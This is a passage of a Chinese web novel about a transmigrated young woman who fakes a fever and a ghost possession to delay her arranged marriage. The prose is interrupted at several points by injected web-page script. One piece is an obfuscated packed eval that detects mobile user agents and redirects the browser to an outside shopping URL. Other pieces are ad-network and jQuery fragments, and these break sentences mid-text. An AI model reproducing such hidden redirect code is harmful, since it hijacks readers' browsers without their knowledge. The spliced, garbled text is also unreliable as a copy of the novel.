人心都是偏的。便同是庶女肯定在嫡母心里也是多少有点不同的。别的事还可以姐妹友爱相让,嫁人这件事实在是太重要,无异于二次投胎。两姐妹同时说亲,嫡母若能偏心些,便能把好的那个给自己。 当然最好是两姐妹都能有好的。 但三娘后来便不喊着殷莳一起了。 三娘和她姨娘这点小心思,殷莳看得明白。但也并没有什么失望或生气。人与人之间产生竞争关系的时候,任何人都必然先考虑自己的利益,何况本来就不同母。 这时空半血缘姐妹之间的关系,已经比她在另一个时空小说里读到的好太多了。诸如什么姐妹争夫、推姐妹下水、给姐妹下X药的恶劣情节统统没有。 没有太深的深情,但已经算是友爱了。 这时候巧雀已经嫁了,云鹃已经是她身边的大丫头,也替她着急:“你瞧瞧人家三姑娘。” 再瞧瞧你,木头人似的,好叫人着急啊。 葵儿端着果盘进来,闻言抿嘴笑:“咱们姑娘是什么人,姐姐还不知道嘛。催是催不动的。” 殷莳拿起果子咬了一口:“瞧你,空长了岁数,还不如葵儿懂我。” 云鹃仰天长叹。 就连三夫人都忍不住跟孙妈妈说:“你说四丫头是怎么回事?日常里觉得也不傻啊,可怎么竟如此没眼色。瞧不见她姐姐们是怎么做的,不知道学着点?” 孙妈妈想了想,说:“却也没有什么让人挑错的地方。” 那倒是。 四娘敦厚友爱,从来不跟姐妹争强掐尖,还特别会照顾人,五娘和周姨娘生的小四郎都喜欢黏她。 对长辈也恭敬顺从,该有的晨昏定省都有。 你说她什么地方做错了,那真没有。就是木讷,不知道讨好嫡母。 “嗐,我也不是计较这个。”三夫人摇着扇子说,“就是觉得孩子有点傻。” 孙妈妈奉承道:“许是打心底就信夫人。夫人宽厚慈爱,这般好的嫡母怎会坑她。所以才不多想?” 因头上还有老夫人时时添堵还要挑错,三夫人一贯也十分小心,不敢叫老夫人拿了什么把柄,也自认自己并不苛待庶女们,是个大度的正室、宽厚的母亲,被这马屁拍得十分舒服。 三夫人果然是不坑庶女的正常正室,虽然四娘不像别的女儿那样巴结她讨好她,但是等三娘和四娘都及笄了,她也是该给这俩孩子张罗还是得好好张罗。 及笄之后,殷莳经历过两三次被和三娘一起唤过去见人,还有外出赴宴,就知道自己是在被相看了。 这几年,她的小日子过得实在岁月静好,安稳无声,但也没有忘记在这个时空最终要面对的嫁人这件事。 也不是没考虑过别的出路,比如自梳、经商等等。只是经过观察和试探,发现要么环境不允许很难实现,要么风险过高。实际上这里法律上都不保护未嫁女的私有财产,在你出嫁之前连你这个人都是属于父母和兄长的。 女子是在出嫁的时候通过嫁妆才获取了私有资产。 又考虑女户,想看看能不能独立出去。毕竟以前另一个时空的小说里女主经常动不动就自己立个女户,脱离亲族。 可几番打听才知道,女户是官府对特殊女性的照顾政策,属于畸零户,有许多税收和徭役上的优惠。你得既没有婆家也没有娘家,是死了丈夫的寡妇活着六亲全无的孤女,还得一心守节,官府才给你立。否则,官府不会平白让你占便宜。 如果将来真成了寡妇或者和离,倒是可以运作一下。但就以眼前父母俱在、三兄一弟还有一大家子叔叔伯伯和堂兄弟完全没分家的这种情况,殷莳是不可能单立女户的。 一个闭环:想过不被掌控的人生就得脱离原生家庭,不嫁人就不可能脱离原生家庭,嫁了人又要被夫家掌控人生。 糟糕的是,她真被人相看中了,竟比三娘还先了一步。 她被唤过去见了一位已经见过的夫人。三夫人矜持地夸赞:“不是我说,我们四娘啊,是几个孩子里顶顶敦厚的那一个。别看她行四,可她姐姐们都常觉得她才像姐姐,极会照顾人的。” 那位夫人一边笑吟吟地听着一边点头,最后取出一支镶着珍珠的钗,郑重地给她插在了发髻里。那颗珠子有莲子大,也是门当户对的富裕人家。 很好,很有仪式感。 只是对不起啊,殷莳几乎是从穿越的第一天就开始为这件事做应对的准备了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589612|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上三夫人向殷三老爷汇报自己的工作成绩:“刘家的嫡次子,这可不算差吧。我可是费尽心思给三娘四娘挑好的了。” 殷三老爷问:“怎地看中了四娘没选三娘?” 三夫人道:“那不就是眼缘嘛。两姐妹年纪一般大,那就哪个合眼缘便取哪个。” 其实三夫人是明白的。 刘夫人就和她一样有三个儿子,嫡长子受器重将来要支撑门户,嫡长媳就受重视。嫡三子是溺爱的小儿子,未来的小儿媳也跟着受疼爱。 这夹在中间的二儿媳,就得找个不争不抢的,既不能跟长嫂争权,也不能跟弟媳争宠。 三娘急于表现,掐尖要强的模样被刘夫人看出来了。反倒是四娘总往后退让着三娘,正是刘夫人想要的次子媳妇。 殷三老爷本想去周姨娘那里,但三夫人跟他正经谈走六礼的事,他走不脱,最后就歇在三夫人这里了。 三夫人又跟他商量:“大郎我瞅着读书也就那样,咱自家孩子自己明白,不像他沈家表弟那样,十一岁就能中秀才,眼瞅着以后是要中举人中进士的。要不然……” 殷三老爷知道她想什么。妹夫那边早就给他铁口直断了:大郎,秀才之才。 后来果然中了秀才,只后面参加乡试却落第了。大郎自己都说:“我不行的。” 但殷三老爷知道老太爷是非常期望家中子弟能出个举人的。老太爷倒也不好高骛远,家里第三代能读书,能出个举人就是他的目标。他很务实,甚至都没幻想出进士。 但秀才到举人到进士,看似三个台阶,实际上每一级都对没有天赋的人来说都隔着天堑。 三夫人只料理自己这一房之事,眼界没有那么远,什么改换门庭之类的,自有老爷子和相公操心。她更操心她这一亩三分地。 大郎中了秀才她便已经满足了,何况大郎自己也说过自己并无天赋。三夫人就想让大郎早点参与家里的生意,早来早占嘛。 但殷三老爷毫不犹豫拒绝了:“别胡闹,老爷子才拨了两座山头的桑园给我打理,这时候你让老爷子失望?老二没拿到这两座山头,老太太本就看我不顺眼了。这时候别生事啊,别给她话柄。” 三夫人立刻偃旗息鼓了:“好。听你的。” 第二天刚起身正梳头,婢女就来报:“四姑娘屋里的云鹃一直在外头候着呢。” 三夫人诧异,唤了云鹃进来:“怎么大清早就过来了,四丫头有什么事?” 云鹃有些慌:“姑娘昨天晚上就发烧,一直胡言乱语。” “昨天还好好的,怎地就病了?”三夫人只道是普通的生病,像往常一般处置,“去跟管事说,请杨郎中过来给看一下。” 哪知道云鹃却道:“夫人,四姑娘该不是普通的风寒,我瞅着、我瞅着……” 三夫人眉头蹙起:“嗯?” 云鹃害怕地说:“……像是魇着了。” 15. 第 15 章 第15章 殷莳真的为这一天准备很久了。 富裕人家生病是请得起大夫的,不用像穷人那样硬挺着。富人生病都不用出门,都是请大夫上门给把脉。 殷莳用钱开路,跟老大夫声称自己体寒,希望能弄点喝了身上暖和发热的方子。 大夫虽然凭着把脉感觉这位小姐身子骨好得很,但这些有钱人家的姑娘、太太们娇气,没事给自己找事喝点药养一养也常见。且一些温补滋养的方子便喝喝也对人体全无害处,便揣了赏银,给了她两个方子。 殷莳经过长期实践,将其中一个方子摸索出了炒制然后泡水的方法。从她开始相看,就让丫头们炒了一大锅存着备用了。 这日被插了钗,回去便用滚水冲泡了浓浓的一壶,用料是从前的好几倍。果然没有辜负她,偷偷喝下去身体就发热了。 丫头一摸,只当她是发烧。 夜里她更是假装哼唧起来,引得云鹃来看。像当年一样故弄了一番玄虚,让云鹃这一夜过得战战兢兢,一大早就来三夫人这里请示。 “呸。”三夫人听不得这些个,“胡说什么。” 云鹃噗通跪下了:“夫人恕罪。奴婢岂敢胡说,只是姑娘昨夜实跟当年姨娘缠着她的时候一样……” “等等。”三夫人听着不对,“什么姨娘缠着?说明白点!” 云鹃不敢隐瞒:“奴婢也不是很清楚,是已经嫁了的巧雀姐姐告诉我的。” 把从巧雀那里听来的当年“姨娘一直不离开,在屋里徘徊缠着姑娘,姑娘常对空气说话”的事讲了。 “这事当年只有巧雀姐姐和青燕姐姐知道。夫人还记得青燕姐姐吗?她后来去了长房……” 三夫人生气:“有这等事,当时怎么不报上来。” 云鹃期期艾艾地解释:“当时……四姑太太正省亲,您忙得脚不沾地,巧雀姐姐说当时是青燕姐姐说的不敢搅扰……” 那都是好几年前的事了,但三夫人还记得呢。因她这小姑子能给她这一房带来实实在在的好处。她回来省亲那段日子,三夫人处处长脸。 在当时,确实是有点忽视刚死了亲娘的四丫头。 三夫人顿了顿,没再追究当年的责任,只问:“现在四丫头如何?” 云鹃说:“听着帐子里姑娘自己在说话,好像跟什么人对话似的。我隐隐听了两句,说的是……” “是母亲叫我嫁的……” “我及笄了,姨娘你别担心……” “姨娘你速速投胎去吧……” 妇道人家,多数信这些。三夫人听着害怕,可想了想又道:“当年,我们可是给燕姨娘好好做过法事的,棺木也没克扣她,也葬在咱家的祖坟里了,可没有对不住她的地方。怎地她这么多年还在?” 殷三老爷从净房里转出来。他在屏风后换衣服,听了个大半,道:“别胡说。这些丫头夹缠不清的,你亲自去看看。” 三夫人没办法,只能准备亲自去。 云鹃前脚出门,后脚殷莳就又偷摸给自己灌了一壶。 三夫人出门哪有这么快,这里的人行动都慢着呢。云鹃去了三夫人的院子也不是立刻就能见到三夫人,还得等。等见到汇报完了,三夫人还得梳妆。早饭也不正经吃了,随便扒两口,在丈夫面前做做贤妻良母的姿态,这才能出门。 这么长的时间,足够殷莳药效起来再烧一波了。 等三夫人到了殷莳的小院,一进院子先被一院子高低错落的花草惊艳了一下。 虽然偶尔也是听别人说,四丫头很会莳花弄草,可她做嫡母的平时也不会随便来庶女的院子,甚至可以说一年到头乃至几年都不会来一次。 待进去屋里,葵儿忙迎上来:“姑娘还烧着。” 三夫人进去里间一看,果然床帐垂着半幅。夏日里挂的是纱底的帐子,半透,隐约能看见少女躺在那里。 三夫人在半丈之外站定,吩咐人:“过去看看。” 孙妈妈便过去摸摸,哟了一声:“果然烧着。” 殷莳虽然喝药喝得自己发热,但人当然是清醒的,只不睁眼,闭着眼睛嘟囔。 三夫人问:“她在说什么?” 孙妈妈凑过去一听,脸色微变。 殷莳唯恐三夫人听不见,把声音放大了一些,闭着眼睛喊:“姨娘,姨娘你放开我……我要嫁人了……” 这下,连三夫人脸色都变了,退后了一步。 孙妈妈也害怕,但她是忠仆,这等情况怎么都得顶上去。硬着头皮使劲晃了殷莳几下:”四姑娘?四姑娘?你醒醒?” 装睡的人怎么可能被唤醒。 但她身体发着热,搁在外人眼里看着的确像是烧得昏头似的,倒没有破绽。 孙妈妈唤云鹃:“去用凉水投了手巾,给四姑娘擦擦,看能不能醒过来。” 待浸了清凉井水的手巾呼在脸上、脖子上,把皮肤都搓得疼的时候,殷莳才终于嘤咛一声“醒”过来了。忍着疼,满眼好像充满困惑似的:“妈妈?” 孙妈妈喜道:“醒了醒了。夫人快瞧!” 三夫人这才敢上前,细细询问。 殷莳一脸迷糊摸样:“只觉得一直被人拉着,硬要拉我走。我觉得不行,使劲往后扯,然后就醒了。” 说完,她又出溜下去躺着,还闭上了眼睛,没一会儿又开始呓语:“姨娘,放开我……” 三夫人和孙妈妈听得后背发毛。 因三夫人虽然自问没有苛待过庶女们,可不代表没有打压过姨娘们。当年燕姨娘美貌,十分受宠。她心里不痛快,在燕姨娘生殷莳的时候的确是动过小小手脚。不至于害死人,只是让燕姨娘落下点病根子而已。 至于后面燕姨娘没福气,身子骨变差了,生个病一年拖一年地竟死了,三夫人觉得肯定不是因为当年的事。 肯定不是。 可心里还是发毛,忍不住看了一眼孙妈妈。 孙妈妈是心腹,自然也是帮凶,还有什么不明白的,扶着三夫人退出来,又唤了云鹃过来细问当年的事。 云鹃说:“刚到寺里时,还是巧雀姐姐打理姑娘贴身的事。我本不该进屋的。巧雀姐姐害怕,让我进屋做事。我才瞅见姑娘时不时地对着空气说话,吓人。有时候半夜也会突然坐起来喊姨娘。我与巧雀姐姐说我害怕,巧雀姐姐才告诉了我实情。原来从姨娘去了,姑娘醒了之后一直就是那样的。” 孙妈妈问:“后来怎样了?” 云鹃回忆说:“后来大师父带着姑娘念经、抄经,渐渐就没有了。妈妈明鉴,非是奴婢胆大包天敢隐瞒不报,实在是姑娘下山前就已经早早无事了,报也没得可报,奴婢们也不敢乱说话。” 屏退了云鹃,孙妈妈和三夫人商量这个事。遇到这种事,自然要驱邪。寻常人家大概就会找庙后街的马神婆之流,但四丫头有个高僧师父呢,不能舍高取低。 “要不然请首座大和尚过来一趟?” “不不不!”三夫人心里有鬼,“把四丫头送过去吧,那地方干净,比家里强。” 她实在是很害怕万一大和尚真来了,捉个鬼什么的,万一燕姨娘显形了怎么办。吓人是一个,另一个是,万一燕姨娘把她当年做的事当着大家的面兜出来怎么办? 三夫人当机立断就安排了:“先谴个人去与大和尚打个招呼。他的弟子不好了,他总得管一管。你去安排,中午之前,让四丫头动身。” 孙妈妈为难:“四姑娘烧着呢,我怕三爷那里……” 从来都是生病的奴婢丫头挪出去,少有把生病的主人家挪出去的。虽是庶出也是家里的正经姑娘啊,殷三老爷的亲闺女。只怕殷三老爷会怪罪。 三夫人断然道:“他那里我去说!” 三夫人回去找三爷。 殷三老爷早饭还没用完呢。三夫人扯着他进了里间:“真的是魇到了!是燕姨娘!”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 待细细与他说了,殷三老爷却不信:“胡说,我们从来没薄待过她,如何阴魂不散的?” 三夫人盯着他的眼睛:“你以前多么宠她,自她病了之后你又去看过她几回?” 殷三老爷顿时不自然起来。 人若生病,气色怎么会好。气色不好,颜色又怎么会好。纳妾纳色,色衰而爱驰,在男人看来过于天经地义理所当然。 只是被人直接戳破,就不是那么坦然了。 殷三老爷强道:“延医问药上没亏待过她。” 三夫人岂能听不出他话音里的气虚,她道:“我安排了送四丫头去她师父那里。东林寺佛光普照,想来燕姨娘也不敢作怪。” “主要是……”她顿了顿道,“怕在家里惊扰了老太太。” 她抬出了老太太当台阶,殷三老爷松了口气,欣然接受:“你做的对。你去安排吧。家里有你,我放心。” 殷莳想不到事情竟会这般容易就朝她希望的方向一路奔去了。 其实她原本是想着烧个至少一两天,然后胡言乱语吓唬吓唬人,再“偶尔清醒”喊两声“师父”提醒这些人她有个高僧师父。 至于殷三老爷、三夫人和逝去的燕姨娘之间的爱与怨,连原身都不知道,她一个穿越人士更不可能知道了。 幸运的是,这些人内心里不敢面对的鬼反倒推了她一把,让她的计划顺顺利利。 首座和尚上个月就收到了殷莳的信,提前跟他沟通“需要师父的时候快到了”,今个中午便有殷家人快马赶来说是他那徒儿有情况。 下午,这个记名弟子就坐着马车来了。 禅房里,首座望着跪在眼前的女弟子,叹口气:“起来吧。” 殷莳跪着不肯起:“师父答应我我就起。” 她伏下身去叩首:“我并不是不嫁的。” 首座叹气:“十八岁也太晚了……” 礼法上来说,十五及笄可许嫁。实际现实中十三四嫁人甚至已经当娘的很多,正常十五六出嫁,十七算晚了。 十八……首座和尚一个出家人都不能接受。 “你可是与什么人有……甚约定?”首座口下留德,没有用“私情”这两个字。 殷莳竖起三根手指:“佛祖明鉴,弟子若与人有私,叫我入十八层阿鼻地狱,永不超生。” “阿弥陀佛——” “师父,弟子真的有苦衷,求师父成全。” 这些年殷莳早认清了,在这个环境里,基本上她是必然、迟早要嫁人的。 但这件事宜迟不宜早。 日子是人过出来的,哪怕婚嫁耽搁了,导致嫁的家庭差些、人差些都没关系,以她的心性总能想办法把日子过下去。 唯独生孩子这件事躲不了。 这里的医疗条件太让人没有安全感了。 而且这里之所以生孩子容易死人最根本的原因就是——女性结婚太早生育太早。 十几岁的小姑娘根本就没发育好呢,这时候就生孩子,那不是上赶着给阎王送业绩嘛。 殷莳二次投胎到这里,又没有那种“推翻皇帝自己当皇帝”的大女主能力,早就明白自己最终也只能顺应这个时代以嫁人为归宿。 但嫁人归嫁人,她不想早死。她还想好好地活,以后当个老封君。 十八岁,十八岁身体就差不多发育好了,那时候再让她生孩子,她理性上和情感上都可以接受了。 死亡率大幅度降低,安全性大幅度提高。 “师父,当年您就答应了我的。”她拜下去,苦求,“弟子知道自己在做什么,也知道这样有什么后果。” “但弟子真的有苦衷,请师父成全弟子吧。” 这个孩子从小就与别的孩子不同。她若是个普普通通的孩子,首座也不会对她另眼相看收为弟子。 许久,房中传出首座长长的一声叹息。 “阿弥陀佛——” 16. 第 16 章 第16章 婚事虽然是由母亲相看,但其实最终是由父亲拍板。首座隔日派人将殷三老爷请到了山上。 殷三老爷颇为不安。 殷莳是由孙妈妈护送过来的,孙妈妈是三夫人身边最得力的妈妈,有什么事她差不多都可以代三夫人做主了。首座竟却把他请过来,难道真的很严重? 东林寺香火鼎盛,便是怀溪之外的地方也有许多大户人家过来烧香许愿。殷家虽富裕,在东林寺的大和尚眼里也只是一富户而已*,殷三老爷在首座面前颇为惴惴:“大师,小女的情况如何?” 女儿家的事,唤她母亲来便是了,如何竟唤他亲来。 首座捻动佛珠,缓缓抬起眼:“这事不在令嫒,在她生母身上。” 殷三老爷吓得一个激灵,忙道:“这、这……当年可是给她做了法事的,棺木也不算薄,我家可不是那等苛刻人家。” “阿弥陀佛——”首座道,“她有何执念,你须得问自己。” 高僧什么时候会跟你说明白话,从来都是云山雾绕的,自己琢磨去。 殷三老爷便被引导着开始回忆了—— 好像有这么一个事,好像还有那么一个事……这么一回忆,竟回忆起不少事来。当时不在意,如今回想却觉得好像都落了怨恨。 人心里若是有鬼,越想就越想得多。 殷三老爷心虚得很,瞄了一眼首座,也不敢追问到底具体是哪一件事成了燕姨娘的执念,只强行镇定道:“往事不可追,眼下事该如何化解?还请大师指点明路。” 首座道:“我已算过,须得三年。待她自己放下,魂归去处。” 殷三老爷急道:“怎么这般久?大师不能现在除了她吗?” 首座瞥了他一眼。 殷三老爷“咳”一声,道:“就是家里人担惊受怕的,所以希望……” “她非是恶灵,只不过放不下自己亲生的骨肉。她的执念已经入了令嫒的因果,强行拆灭,会影响令嫒的命数。” 殷三老爷傻眼:“那怎么办?” 首座捻了一会儿佛珠,内心里交战片刻,终究还是成全了殷莳—— “给她们三年的时间。三年里勿使令嫒离家,让她在家修行,让她生母看到她被亲人善待,有怙恃倚仗。” “三年之后,执念自消,劫数自解。” “阿弥陀佛,这孩子命里该有这一难。过去了,就好了。” 待三爷回到殷府,转述了首座大和尚的话,果然三夫人听了也是傻眼。 “啊?不离家是什么意思?什么叫不离家?” 殷三老爷咕咚咚喝了半碗茶润了喉咙,才接着说:“我也是问了大和尚,我说四娘刚订亲,本预计着明年就嫁,这怎么个不离家法?” “结果大师说,那就不嫁。若去了别人家,燕……那个谁会以为她失了怙恃,搞不好要成恶灵。嫁了不止妨四娘的命数,燕姨娘扎根咱家离不了,万一化作恶灵了还得生事。” “大师的意思,这三年就让她好好在自己家里念经。三年之后再嫁。” 三夫人道:“可三年后她都几岁了啊!” 提起这个,殷三老爷也是愁眉苦脸:“那能怎么办。这可是首座大和尚说的!” 若是庙后街的马神婆这么说,殷三老爷和三夫人都得怀疑一下是不是马神婆想骗钱故弄玄虚。可这是东林寺的首座大和尚说的,这是德高望重的高僧。 更不要说他还是殷莳的挂名师父。女子嫁人是一辈子的事,三年一耽搁就可能耽搁一辈子好姻缘,师父再怎样也不会这样坑自己的弟子的。 三夫人想了想:“要不然,叫庙后街的马神婆……” 殷三老爷没好气地道:“要是马神婆都能收得了,大师为什么不动手收?你懂不懂什么叫因果。” “阿弥陀佛。”三夫人两手合十,“我自然懂,我时时念经的。家里再没有比我更心诚的了。” 三爷道:“你去与刘家说说,就说我们想留四娘三年,问问他们的意思行不行。” “要不行呢?” “要不行,就算了。退了吧。” 殷莳的这桩亲事到底是退了。 刘家几个儿子年岁相近,老二的婚事若是拖了,就影响老三的婚事,刘家不乐意。好在两家只插了钗,连庚帖都还没来得及换,退还了珠钗,赔了些礼物,三夫人又是道歉又是说软话,这事就算了。 因还没换庚帖,也不算是退亲,勉强算是相看失败了。 等殷莳从山上回来的时候,她的婚约已经处理干净了。 二娘、三娘还过来看她,替她惋惜:“多好一门亲事,怎地就算了?怎么回事?” 殷莳抹眼泪:“我怎知道,你们去问父亲母亲。” 打发了姐妹们,殷莳便踏实地在自己的小院子里“养病”。 三夫人因为心里有鬼,不愿意常见她,竟连她的晨昏定省都免了。 但殷莳亲事告吹,家里也不是没人说嘴。老太太还把三夫人叫过去训斥。 三夫人也不敢说是燕姨娘闹鬼,只能说:“四娘身子骨不好,东林寺的大和尚给算了算,说她命里有劫数,须得三年后再说亲。要不然,妨家里也妨人家。我们年轻倒是不怕的,就怕妨了老太太你。” 老太太只比中年妇人更迷信,越老越迷信,听了忙细问如何个妨法,又如何破法。 三夫人胡编:“只说不能使她离自己家,日日抄写经文,平平安安三年就行。” 还说自己心疼这孩子,甚至免了她晨昏定省。 老太太一听,心说这妨人的孩子你避开了,让跑来妨我是吧。把手一搭:“既这样,我这边也不用过来了。让她好好地念经,没事别乱出门。” 殷莳本来年纪大了也不用去上课了。如今在自己的小院子里关起门来过自己的小日子。抄抄经文,种种花,打打络子,合合香、自制个粉什么的——在这里生活了好几年了,也学会了许多新技能。 衣食丰足,不受气,不受屈,这小日子过得又平静又美好。 这一年,二娘嫁了。第二年,三娘也嫁了。年纪差不多的堂姐妹也都陆续出阁,还在家里的都是比她小了几岁的。 因听了些什么劫数、妨人之类的八卦,五娘也被她的姨娘管着不许来找殷莳玩。殷莳几乎没什么社交了,安静地宅在自己的小院里。 直到第三年春日里,殷府上下忽然热闹了起来——喜报传来,殷家那个十一岁中秀才做了案首、去年中举人当了解元的外孙沈缇金榜题名,高中一甲第三名! 殷莳还掰着手指头算了一下:一状元,二榜眼,三探花。 哇哦,探花郎! 挺好的,好歹是亲戚,殷莳为当年那个礼貌老成的小男孩感到高兴。但这跟她没什么大关系,她继续埋头整理她的花园。春日里好多要枝要修呢。修好了,过些日子都是美美的花苞。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>这安安静静的宅女小日子,过完今年就要结束了。她今年十七岁了,明年就十八。从心理上,能接受自己嫁人生子了。从生理上,她的身体已经发育完全,生育死亡的概率大大降低。 殷三老爷和三夫人也不可能让她一辈子待在家里。今年说亲,明年出嫁,正好圆了“三年”之说。 这是无法改变的人生,殷莳已经可以平静地接受它。 但她的亲事是殷三老爷和三夫人去操心的事,现在殷莳要操心的是云鹃的婚事。 婢女们不像小姐们金贵,为了多用几年,一般会让丫头晚两年出嫁,更划算。云鹃和殷莳同龄,今年正是该出嫁的年纪了。 之前青燕自己高飞了,后来巧雀爹娘也都有差事,有自己的路子,不用殷莳操心。但现在到了云鹃这里,云鹃是外面买来的,没有爹娘。她什么路子都没有。 殷莳拿钱置办了四色点心攒盒,两块尺头,并一对虾须银镯,亲自登了孙妈妈的门。孙妈妈是三夫人的心腹妈妈,三房婢女们的婚事都要经她的手。 孙妈妈没想到平时四姑娘看着木讷憨厚,也不知道去讨好嫡母,这时候居然机灵起来了。 礼多人不嫌。这事于云鹃是关系终身的大事,于孙妈妈不过就是日常工作。没几日就把云鹃的事安排好了——配了门子上的一个年轻小厮。门子上迎来送往,多有赏钱,算是肥差。他爹虽不是管事,却是赶车的老把式,是殷家二爷惯用的。 云鹃没爹娘,能配这么个还算不错的年轻后生,全靠她主子四姑娘愿意使银子,还肯低头求人。 连孙妈妈都跟三夫人说:“我非是贪四姑娘那点东西,我跟着夫人什么好东西没见过、没用过,眼皮子没那么浅。就是觉得四姑娘疼惜下人这份心,跟夫人当年一样一样的。” 孙妈妈是三夫人带过来的陪嫁婢女,她的婚事也是当年三夫人精挑细选的。如今过得体体面面,是为人奴仆羡慕的那种日子。 三夫人十分受用:“这孩子好歹是我养大的,虽然笨笨的,总得从我这儿学点什么吧。” 孙妈妈:“可不是。四姑娘今年可也十七了,她这婚事还得您操持起来。” 三夫人也知道,殷莳这个年纪必须今年给她说定一门亲事,待明年三年期满,破劫定命了,正好就出阁。因明年五娘也要及笄了,也得说亲。上面要压着个姐姐婚事定不下来,下边就要影响妹妹。 到时候,受指摘的全是她这个嫡母。 “先不管这个,都放放。”三夫人说,因为眼前她还有更重要的事要忙,“妹妹的院子都都收拾好了?你好好盯着,别让下面这些人偷懒。要慢待了妹妹,有她们好果子吃。” 孙妈妈拍胸脯打包票:“有我盯着呢。” 殷家外孙沈缇高中探花,殷家与有荣焉。 只大家都没想到,忽然沈家来了人送信,沈夫人要携着新科出炉热腾腾的探花郎儿子回娘家省亲。 这可太突然了。 一般高中了都是回乡祭祖什么的。但沈家就是京畿人士,高中之后直接就祭了。可这回娘家还是回得太突然了。大多都是提前几个月甚至一年书信往来,早早安排,这次竟然是送信人搭着快船只比沈夫人早十天到,打了殷家一个措手不及。 但不管怎么着,探花郎外孙要来殷家,殷家门楣生光。三夫人忙得脚不沾地,打点准备,欢迎这个探花郎外甥。 阖府上下,喜气洋洋,只盼着探花郎登门。 17. 第 17 章 第17章 下人成亲也会拜堂行礼,当然不及主人那般盛大。热闹不热闹要看这家的财力和人缘。 云鹃没有爹娘,也不能从主人的院子出嫁。孙妈妈牵线让她认了个干娘,安排她提前几日住到干娘家,从干娘家出门。 殷莳也给了这干娘一家厚厚的红封,两下里都满意。 临别时,云鹃百般不舍。 殷莳也很不舍。 她刚穿过来的时候身边三个婢女:青燕是家生子,只相处了两三天,后面人家就攀高枝单飞了。巧雀虽然得了殷莳的提拔,也相处了三年,但她比殷莳大,天然有年龄优势,性格、认知也已经成型,殷莳内心一直并没有当她是“自己人”。三年后她年纪到了出嫁了。云鹃才是殷莳一直没有隔阂、能放心用的人。 可惜铁打的小姐,流水的丫头。婢女们大了都得嫁人。 快十年了,搁在殷莳眼里,这是在她跟前长大的小姑娘。如今竟要嫁人了,怎么能不伤感。 云鹃更是抹眼泪,在屋里跟殷莳说掏心窝子的话:“我的事定了,姑娘的事姑娘自己可得上心。姑娘年纪大了,可不能再跟以前一样,夫人跟前姑娘要多去走动。夫人爱听奉承话,姑娘嘴巴甜些……” “知道了,知道了。”殷莳感慨又无奈,“你放心嫁人吧。你要好好过日子啊,有困难的话,来找我,我能帮就帮。” 云鹃对自己这门婚事还是很满意的,当然也感激殷莳。抹了眼泪,依依不舍地道别。 生活太安稳平静,有时候感觉不到岁月流动。此时目送云鹃离去,殷莳才对时间的流动生出了真实的质感。 如今身边贴身的大丫头是葵儿,另带着两个小丫头。粗使婆子五年前就换人了,原先那个生病挪出去已经过身了。 配置还是刚穿过来时候那个配置,可具体的人全都变了。 生活再平静,时间也在往前走。 但也没什么好怕的。 殷莳抬头看看湛蓝通透的天空。她在这里过了快十年的米虫生活,惬意得不得了。就算未来过得不好,这二次投胎也算够本了。 当然,能过得好还是得努力过得好一点。 但生为富家小姐,根据殷莳的观察,殷家给女儿的嫁妆还是很不错的。而且嫁的人家也没有特别穷的。 所以只要不赶上那种烂赌烂嫖的败家子,怎么着都能过一个殷实富足的日子,至不济也是小康水平。所以殷莳并不怎么担心。 对自己的婚事殷莳也并不操心。因为这里也根本不容得未婚姑娘去操心自己的婚事,那都是父母长辈的事。 明年三年之期就要到了。其实自她第一个婚约取消了之后,三夫人这个嫡母也一直在给她谋亲事。只人家一听到她要拖到十八那年才能出阁,就没有一个成的。 大多连相看这一步都走不到,都是说媒的人一讲,对方便摇头了。 门当户对的女孩子多得是,做什么要等个十八岁才能出阁的。 云鹃很是为她着急,怕她拖得年纪大了,说不到好的了。 但殷莳不怕。 她知道这个时空大多数人是习惯到了年纪就订亲的。所以大部分年纪般配的婚事是在十四五左右就订下,十五六完婚。男性比女性的年纪大个三四岁也在“般配”的范围内,所以可能完婚的时候新娘子十五六,新郎官十九、二十也是常见的。 甚至普遍来说,在婚姻这件事上对男性的年龄的宽容度很大。三四十的老鳏夫续弦,续的也多是十五六及笄可许嫁的女孩子。 但是与之相对的却是对女孩子年龄上的苛刻。女孩子年纪一大,很容易受人嫌弃。譬如她十八他也十八,则那个明明是同龄的十八的他,更倾向于订下十五六的少女,而不是十八的“老”姑娘。 年龄太大,就被默认在婚姻市场的身价贬值了。或者给你配个老很多的,或者给你配个没那么门当户对的。 这就是为什么殷莳的姐妹们在临近及笄的年纪就开始焦虑婚事,开始各种奉承讨好嫡母。 但殷莳两者皆不在乎。 她是一个穿越客,心理年龄要比外貌年龄大很多。真让她跟个初中生、高中生年纪的少年拜天地入洞房,反倒是她过不去心理上的这个坎。太罪恶了。 家境差一点也没关系。殷家对女儿的嫁妆是有规格的。公中给的嫁妆不会因为你嫁的差了就少给你。 只要拿到那份嫁妆就有了自己的私人财产。如果嫁的人家境不好,自己仗着嫁妆腰杆子硬,不受气,也挺好。 总之,富有富的好,穷有穷的好。殷莳想得开,所以并没有真正的土著姐妹的那种焦虑。 她每天依旧过她的小日子,不事劳动的米虫生活简直不要太舒服。 但是搁在别人眼里——三夫人说:“四丫头怎么越长越憨傻了?每天就知道乐呵呵的,二娘都生了两胎了,三娘也当娘了,她婚事到现在没着落,她不着急吗?” 孙妈妈也不能直说主家姑娘傻,哪怕庶出的也不行,只能说:“可能佛经读多了,豁达。” “啧。反正我是尽心了,这是大和尚给她批的命,她爹也不能怨我。” “哪能呢。昨天我还让来喜跑了趟李媒婆那里,专门告诉她夫人说的:四姑娘的婚事能说成,谢媒钱加倍给。” “就是,你最知道,我是尽了力的。” “阖家上下,谁不夸夫人你一句贤惠呢。” 